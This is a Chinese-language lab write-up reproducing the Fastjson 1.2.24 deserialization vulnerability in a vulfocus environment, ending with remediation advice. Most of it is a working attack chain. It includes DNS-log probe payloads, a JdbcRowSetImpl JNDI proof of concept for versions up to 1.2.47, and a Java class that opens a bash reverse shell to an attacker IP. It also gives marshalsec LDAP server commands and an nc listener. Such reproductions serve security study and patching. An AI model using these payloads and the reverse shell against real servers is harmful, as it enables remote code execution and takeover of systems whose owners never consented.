0%

Fastjson_1.2.24反序列化漏洞复现过程

漏洞描述

FastJson 库是 Java 的一个 Json 库,其作用是将 Java 对象转换成 json 数据来表示,也可以将 json 数据转换成 Java 对象,使用非常方便,号称是执行速度最快的库。

在 1.2.24 版本的 Fastjson 出现了一个反序列化的漏洞,fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

漏洞影响版本

fastjson <= 1.2.47

漏洞复现过程

漏洞环境搭建

  1. 搭建vulfocus漏洞环境
  2. 启动“vulfocus/fastjson-cnvd_2017_02833”

image
3. 访问页面显示如下说明环境正常
image

特征判断

可以通过DNS回显的方式检测后端是否使用Fastjson

构造请求如下:

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: 192.168.3.130:59541
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 44

{"@type":"java.net.Inet4Address","val":"dnslog"}

其他回显方式:

1
2
3
4
5
6
7
8
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

image

fastjson1.2.47以下版本通杀poc:

1
2
3
4
5
6
7
8
9
10
11
12
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"f":{
"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/",
"autoCommit":true
}
},
age:11
}

其中{“@type”:”com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”:”ldap://asdfasfd/“, “autoCommit”:true}也可以替换成其他利用链

攻击机环境配置

centos7服务器,可通外网

  1. 修改 java 恶意类代码保存为 TouchFile.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    import java.lang.Runtime;
    import java.lang.Process;

    public class TouchFile {
    static {
    try {
    Runtime r = Runtime.getRuntime();
    Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/IP/1888 0>&1"});
    p.waitFor();
    } catch (Exception e) {
    // do nothing
    }
    }
    }

    将恶意java代码上传到攻击机,并使用javac编译(需安装jdk1.8并配置环境变量)
    image

  2. 使用 python -m SimpleHTTPServer 快速搭建http服务
    image
    访问ip+1111端口号,证明http服务搭建正确
    image
    服务器收到响应
    image

  3. 开启ldap服务

    • 使用git下载marshalsec,mvn编译marshalsec

      1
      2
      3
      git clone https://github.com/mbechler/marshalsec.git
      cd marshalsec/
      mvn clean package -DskipTests
    • 使用marshalsec开启ldap服务

      1
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#TouchFile 9999

      image

    • nc监听1888端口

      image

  4. 构造payload发送请求

image
5. ldap服务收到请求
image
6. 监听的1888端口成功反弹shell,拿到flag
image

修复建议

  1. 升级Fastjson到最新版
  2. WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形
  3. 最少升级到1.2.48以上版本且关闭autotype选项